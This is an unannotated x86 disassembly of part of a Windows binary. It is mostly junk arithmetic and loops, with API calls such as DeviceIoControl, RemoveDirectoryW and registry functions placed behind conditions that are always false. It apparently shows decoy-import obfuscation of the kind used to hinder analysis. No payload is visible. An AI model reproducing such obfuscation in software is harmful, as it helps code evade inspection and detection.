mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x14]
imul eax, eax, 0x3b94
test eax, eax
je 0x4365eb
xor eax, eax
lea edx, [eax + 1]
jmp 0x4365ef
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x70]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
sete cl
imul eax, ecx
test eax, eax
je 0x4366a9
xor eax, eax
mov dword [ebp - 0x18], 0x45a3
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x4366c3
jmp 0x436620
xor eax, eax
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x28], eax
jmp 0x436661
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x43665e
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x436659
push eax
push eax
push 0xeb2
push eax
push 0x1c25
push eax
push 0x17cd
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x436634
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x43662c
mov eax, dword [ebp - 0x70]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x436673
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc50], edx
mov eax, dword [ebp - 0x18]
cmp eax, edx
setle cl
add ecx, ecx
mov dword [ebp - 0x1954], ecx
dec dword [ebp - 0x1c]
jns 0x43661e
jmp 0x4366c3
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1954], eax
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x4366c3
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0xfffffffd
push 1
pop edx
jge 0x43651f
inc dword [ebp - 0x14]
xor eax, eax
inc eax
push eax
pop edx
cmp dword [ebp - 0x14], eax
jne 0x4364d6
mov eax, dword [ebp - 0x14]
add eax, 8
jne 0x43670e
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
jne 0x43670e
push edi
lea ecx, [ebp - 0xe00]
call fcn.00415bdb
cmp dword [eax], 0
jne 0x43670e
xor eax, eax
mov edi, eax
jmp 0x436713
xor eax, eax
lea edi, [eax + 1]
push 2
pop eax
push eax
lea ecx, [ebp - 0xe00]
call fcn.00415bdb
mov edx, dword [ebp - 0x14]
xor ebx, ebx
mov ecx, dword [ebp - 0x14]
mov esi, eax
cmp edx, ecx
setne bl
xor ecx, ecx
cmp edi, 0xffffffff
setl cl
xor eax, eax
sub ebx, ecx
lea ecx, [ebp - 0xe00]
cmp ebx, dword [esi]
setg al
mov dword [ebp - 0x10], eax
call fcn.00415bbf
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop esi
jmp 0x436c35
push 2
pop edi
mov dword [ebp - 0x14], 0x3d9532bb
lea ecx, [ebp - 0x7b0]
mov dword [ebp - 0x2c], eax
push edi
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x28], 0x28ad64de
mov dword [ebp - 0x2c], eax
jmp 0x43679b
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x7b0]
call fcn.00415bdb
mov dword [eax], 0x718e5034
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x436784
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x4367b2
lea esi, [eax + 1]
jmp 0x4367b4
mov esi, eax
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x7b0]
xor ebx, ebx
cmp eax, 0xa79c
setge bl
xor eax, eax
inc eax
push eax
call fcn.00415bdb
xor edx, edx
sub esi, ebx
mov dword [eax], ebx
mov eax, dword [ebp - 0x14]
cmp esi, eax
setg dl
xor ecx, ecx
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x14]
jne 0x4367f4
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x7b0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
inc eax
push eax
call fcn.00415bdb
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x436858
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x28], 0xfffffff3
cmp dword [ebp - 0x28], 0x19
jge 0x4368a0
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x19
jl 0x436845
xor eax, eax
jmp 0x4368a0
xor edi, edi
mov dword [ebp - 0x14], eax
inc edi
cmp dword [ebp - 0x14], edi
jg 0x43689d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7b0]
call fcn.00415bdb
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7b0]
call fcn.00415bdb
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7b0]
call fcn.00415bdb
and dword [eax], 0
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jle 0x436863
xor eax, eax
push 2
pop edi
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x4368af
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea ecx, [ebp - 0x7b0]
call fcn.00415bbf
mov dword [ebp - 0x20], 0x6e1ee67b
xor eax, eax
mov dword [ebp - 0x24], 0xffffffff
inc eax
mov dword [ebp - 0x1c], 0xf34fda0e
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x40], 0x681c
mov dword [ebp - 0x18], 0x969e0cd
mov dword [ebp - 0x50], 0x58d3b3e2
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x24]
je 0x436962
xor eax, eax
mov ecx, 0xa7b051af
inc eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x20], 0xfffffff8
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
push 3
setne dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
pop esi
setle bl
xor ecx, ecx
cmp eax, ebx
setge cl
mov dword [ebp - 0x18], ecx
mov ecx, edi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
sub ecx, eax
mov dword [ebp - 0x20], ecx
jmp 0x436a21
movdqa xmm0, xmmword [0xab9290]
lea eax, [ebp - 0x2084]
push eax
lea eax, [ebp - 0x2094]
push eax
lea ecx, [ebp - 0x2480]
movdqu xmmword [ebp - 0x2094], xmm0
call fcn.00415bed
lea ecx, [ebp - 0x40e]
mov esi, eax
call fcn.00415bea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xcc0]
push dword [esi]
call fcn.00415b99
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop esi
jmp 0x436a11
mov dword [ebp - 0x18], 0x514faf14
mov dword [ebp - 0x20], 0xb4cf22a1
push dword [ebp - 0x14]
call fcn.00415bdb
push dword [ebp - 0x14]
lea ecx, [ebp - 0xcc0]
call fcn.00415bdb
push dword [ebp - 0x14]
lea ecx, [ebp - 0xcc0]
call fcn.00415bdb
xor ecx, ecx
cmp dword [eax], 0x3e469209
setne cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0xcc0]
push dword [ebp - 0x14]
call fcn.00415bdb
mov ecx, dword [ebp - 0x18]
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0x14]
lea ecx, [ebp - 0xcc0]
cmp dword [ebp - 0x14], esi
jle 0x4369b3
call fcn.00415bbf
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x1c]
jne 0x436a3b
cmp dword [ebp - 0x14], eax
je 0x436a3e
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
cmp ecx, dword [ebp - 0x24]
jle 0x436a59
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x436a59
mov ecx, eax
jmp 0x436a5e
xor eax, eax
lea ecx, [eax + 1]
xor eax, eax
cmp ecx, 7
setg al
cmp eax, dword [ebp - 0x14]
jle 0x436a6e
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x1d20]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
xor eax, eax
inc eax
push eax
call fcn.00415aed
xor eax, eax
xor edi, edi
mov dword [ebp - 0x2c], eax
inc edi
cmp dword [ebp - 0x2c], edi
jge 0x436ab4
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1d20]
call fcn.00415bdb
mov dword [eax], 0x6847dfa8
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x436a93
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x436ade
push 0x135
push 0x326
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x436aef
push eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x1d20]
call fcn.00415bbf
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xba4]
test eax, eax
mov eax, dword [ebp - 0x10]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setle cl
xor edx, edx
test ecx, ecx
mov eax, dword [ebp + eax*4 - 0xba4]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x436b3e
inc eax
add eax, 3
je 0x436b4d
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x436b4f
inc eax
jmp 0x436b4f
xor eax, eax
mov dword [ebp - 0x18], 0xcba8
mov ecx, dword [ebp - 0x10]
imul ecx, eax
sub ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
mov eax, dword [ebp + eax*4 - 0xba4]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne bl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xba4]
imul eax, dword [ebp - 0x18]
add ebx, eax
mov eax, dword [ebp - 0x38]
cmp ebx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov dword [ebp - 0x28], eax
inc eax
mov dword [ebp - 0xcf0], eax
mov dword [ebp - 0xcec], eax
mov dword [ebp - 0xce8], eax
mov dword [ebp - 0xce4], eax
mov dword [ebp - 0x28], 0xc69aed23
mov eax, dword [ebp - 0x28]
cmp eax, 0xfffffff6
setne cl
xor eax, eax
add ecx, 0xa115
mov dword [ebp - 0xcf0], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff7
jg 0x436c2a
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xcec]
mov dword [ebp - 0xcf0], eax
mov dword [ebp - 0x2c], 0x1b
cmp dword [ebp - 0x2c], 0xfffffff2
jne 0x436c1f
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x436c16
push eax
call dword [sym.imp.USER32.dll_CreateIconIndirect]
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff2
je 0x436c04
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff7
jle 0x436be3
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x436c3e
inc dword [ebp - 0x10]
push 0
pop eax
cmp dword [ebp - 0x10], esi
jle 0x43675d
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jle 0x43647b
xor eax, eax
mov dword [ebp - 0x30], 0x4039
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x436c78
push eax
push eax
push 0xeb2
push eax
push 0x1c25
push eax
push 0x17cd
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x436c8a
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
push 9
pop eax
mov dword [ebp - 0x20], 0xb13e
mov dword [ebp - 0x14], eax
push 8
pop edi
mov dword [ebp - 0x3c], edi
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xa
jl 0x436e40
jmp 0x436cb6
xor eax, eax
mov dword [ebp - 0x10], 0xfff8
mov dword [ebp - 0x1c], 0x3589fe57
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x2c], eax
jmp 0x436ce1
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x2800], 0xfff7
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x436cd0
mov ecx, dword [ebp - 0x10]
xor edx, edx
add ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
xor ecx, ecx
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x14]
cmp eax, edx
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl bl
xor ecx, ecx
cmp eax, ebx
setge cl
add ecx, dword [ebp - 0x14]
je 0x436d35
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
jmp 0x436e20
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x40], 0x2ad21dd8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jg 0x436e22
mov dword [ebp - 0x50], 0xa1dd7933
mov dword [ebp - 0x28], 0xb56bf5e
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0x3c]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xffffffff
je 0x436db5
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x436db7
mov ecx, eax
xor edx, edx
xor eax, eax
inc edx
cmp ecx, edx
setge al
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x18]
cmp ecx, 4
jg 0x436dc3
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x436dc3
mov edx, eax
jmp 0x436dc8
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x436d7b
xor eax, eax
lea ecx, [eax + 1]
jmp 0x436d7d
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0xfffffff3
cmp dword [ebp - 0x28], 0xffffffe3
jl 0x436e14
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jg 0x436e0b
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x436dfb
xor eax, eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe3
jge 0x436df3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jle 0x436d56
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x436e33
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xa
jge 0x436cb4
movdqa xmm0, xmmword [0xab92b0]
lea eax, [ebp - 0x1f04]
push eax
lea eax, [ebp - 0x1f14]
push eax
lea ecx, [ebp - 0x2670]
movdqu xmmword [ebp - 0x1f14], xmm0
call fcn.00415bed
lea ecx, [ebp - 0x4c5]
mov esi, eax
call fcn.00415bea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x998]
push dword [esi]
call fcn.00415b99
mov dword [ebp - 0x3c], edi
xor eax, eax
mov dword [ebp - 4], 0x1dba3399
mov dword [ebp - 0x2c], 0xf90edcad
mov dword [ebp - 0x18], 0x5362daab
mov dword [ebp - 0x20], 0xfffffff7
push 2
mov dword [ebp - 0xc], eax
pop esi
cmp dword [ebp - 0xc], esi
jge 0x436ecb
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x934], 0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x436eb3
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], esi
jge 0x436eeb
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x1994], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x436ed3
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 4], eax
jne 0x436f2c
push eax
lea ecx, [ebp - 0x998]
call fcn.00415bdb
xor ebx, ebx
lea ecx, [ebp - 0x998]
push 3
cmp dword [eax], 0xffffffff
setge bl
call fcn.00415bdb
mov ecx, dword [ebp - 4]
xor edx, edx
cmp ebx, ecx
mov eax, dword [eax]
setne dl
sub eax, edx
cmp eax, edi
jne 0x436f2c
xor eax, eax
mov edi, eax
jmp 0x436f31
xor eax, eax
lea edi, [eax + 1]
push esi
lea ecx, [ebp - 0x998]
call fcn.00415bdb
mov ecx, dword [ebp - 0x2c]
mov esi, eax
imul ecx, edi
mov eax, 0xefa025ec
cmp eax, ecx
mov ecx, dword [ebp - 0x930]
mov eax, dword [ebp - 0x3c]
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
setle bl
xor edx, edx
cmp ebx, eax
setne dl
xor ecx, ecx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x934]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, dword [esi]
setl al
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1994]
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x934]
je 0x436fb9
xor ebx, ebx
lea ecx, [ebp - 0x998]
push ebx
call fcn.00415bdb
cmp dword [eax], ebx
je 0x436fb9
xor eax, eax
lea esi, [eax + 1]
jmp 0x436fbd
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x998]
call fcn.00415bdb
imul ecx, esi, 0xfbc6
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x998]
setle dl
mov dword [ebp - 0x934], edx
call fcn.00415bbf
mov dword [ebp - 0x10], 0x8ade19d2
mov dword [ebp - 0x14], 0x925b0e44
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x437060
push 3
mov dword [ebp - 0x2c], eax
pop edi
cmp dword [ebp - 0x2c], edi
jge 0x437025
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1964], 0xffffffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x43700d
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop ebx
jmp 0x437056
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x437053
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x1964]
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1964], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x437035
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x43702d
jmp 0x43716d
mov dword [ebp - 0x3c], 0xfffffff7
push 2
mov dword [ebp - 0xc], eax
pop ebx
cmp dword [ebp - 0xc], ebx
jge 0x43708a
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x19a8], 0x145ccb97
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x437072
xor eax, eax
push 3
mov dword [ebp - 0xc], eax
pop edi
cmp dword [ebp - 0xc], edi
jge 0x4370ad
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x23a4], 0x14c5530c
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x437095
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xe
jl 0x43714e
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff8
inc eax
lea ecx, [ebp - 0x1704]
mov dword [ebp - 0x20], eax
push eax
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x4370f1
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1704]
call fcn.00415bdb
mov dword [eax], 0xa5eafb5d
inc dword [ebp - 0x2c]
xor eax, eax
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x4370da
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x19a4], eax
cmp eax, 0xe964
jne 0x43711b
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x1704]
xor eax, eax
push eax
call fcn.00415bdb
lea ecx, [ebp - 0x1704]
mov dword [eax], esi
mov dword [ebp - 0x23a4], esi
call fcn.00415bbf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xe
jge 0x4370ba
xor eax, eax
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], 4
jl 0x43716d
xor edi, edi
inc edi
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x20], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jge 0x43715a
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x437181
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
xor eax, eax
mov dword [ebp - 0x38], 0xb110c93b
mov dword [ebp - 0x10], 0xac204e2d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffe7
jge 0x43734b
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0xc80]
xor eax, eax
inc eax
push eax
call fcn.00415aed
xor eax, eax
xor edi, edi
mov dword [ebp - 0x2c], eax
inc edi
cmp dword [ebp - 0x2c], edi
jge 0x4371df
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xc80]
call fcn.00415bdb
mov dword [eax], 0xfffffffd
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x4371bb
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x1c], eax
jmp 0x437323
mov dword [ebp - 0xc], 0xbe4438b
mov dword [ebp - 0xc], 8
jmp 0x4372a8
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x3c], 0xffffffff
cmp dword [ebp - 0x2c], eax
jne 0x4372b2
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x437220
cmp dword [ebp - 0x2c], eax
je 0x437226
xor eax, eax
xor edi, edi
inc eax
inc edi
mov dword [ebp - 0x3c], eax
xor edx, edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
sub ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setle dl
xor ecx, ecx
add edx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
xor edx, edx
cmp ecx, 0xffffffff
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setl bl
xor ecx, ecx
cmp eax, ebx
setge cl
xor eax, eax
cmp ecx, 0x69c9
jge 0x43728f
mov esi, edi
cmp dword [ebp - 0xc], eax
jne 0x437291
mov esi, eax
push eax
lea ecx, [ebp - 0xc80]
call fcn.00415bdb
push 0
mov dword [eax], esi
dec dword [ebp - 0xc]
pop eax
push 2
pop ebx
cmp dword [ebp - 0xc], 0xffffffe3
jl 0x4371fa
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], eax
jl 0x43731d
push 2
pop ebx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x4372db
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xb68], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x4372c6
xor eax, eax
mov dword [ebp - 0xb60], eax
cmp dword [ebp - 0xb60], eax
jl 0x437318
push dword [ebp - 0xc]
lea ecx, [ebp - 0xc80]
call fcn.00415bdb
push dword [ebp - 0xb60]
lea ecx, [ebp - 0xc80]
mov esi, eax
call fcn.00415bdb
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0xb60]
jns 0x4372e9
xor eax, eax
dec dword [ebp - 0xc]
jns 0x4372bd
dec dword [ebp - 0x1c]
push 2
pop ebx
cmp dword [ebp - 0x1c], 0xffffffe7
jle 0x4371e7
lea ecx, [ebp - 0xc80]
call fcn.00415bbf
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe7
push 0
pop eax
push 2
pop ebx
jl 0x43719c
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x437392
push 0x1d8a
push 0x25c6
push 0x184e
push 0xdb4
push 0x131e
push 0x24c1
push 0x1b19
push 0x1a8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0x3ad3b315
mov dword [ebp - 0x18], 0x4d1b40e1
push 4
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x4373c6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x21f4], 0xb9c279a2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x4373ae
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x4373e8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1e98], 0xa3c3d214
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x4373cf
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x4373fe
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2578], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x4373ed
mov eax, dword [ebp - 0xc]
xor edx, edx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
mov eax, 0xffff
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xc]
push 7
setne cl
xor edx, edx
cmp eax, ecx
setle dl
xor eax, eax
mov dword [ebp - 0x21e8], edx
cmp edx, 0x64d6
sete al
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0xfffffffc
setne cl
xor edi, edi
mov dword [ebp - 0x1e90], ecx
